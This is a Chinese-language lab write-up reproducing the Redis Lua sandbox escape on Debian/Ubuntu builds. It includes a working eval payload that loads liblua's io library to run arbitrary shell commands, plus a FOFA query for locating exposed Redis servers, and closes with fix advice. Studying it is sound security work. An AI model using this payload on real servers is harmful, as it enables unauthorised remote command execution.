1 环境部署
本次复现依托环境为vulfocus部署的镜像环境,严格按照文章步骤操作,否则可能会出现异常报错。
- vulfocus安装查看文章:vulfocus安装教程
- vulfocus官方手册:vulfocus官方手册
2 漏洞说明
Debian和Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令;要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)。
影响版本
- 运行在 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务
- 2.2 <= redis < 5.0.13
- 2.2 <= redis < 6.0.15
- 2.2 <= redis < 6.2.5
3 漏洞复现
3.1 连接redis
当redis经过认证、或者 Redis 本身未设置鉴权检查可以直接连接redis服务。这里使用Another Redis Desktop Manager工具进行连接。
3.2 漏洞poc
Poc:执行whoami命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
可以将poc中的whoami更改为自己需要的命令。
使用Another Redis Desktop Manager工具中的redis控制台输入。
4 fofa语法
port = "6379"
fofa搜索看到回包中是报错并且有信息返回,判断可能存在该漏洞。
使用工具连接发现成功连上。
5 修复建议
- 更新版本
- 在 Lua 初始化的末尾添加package=nil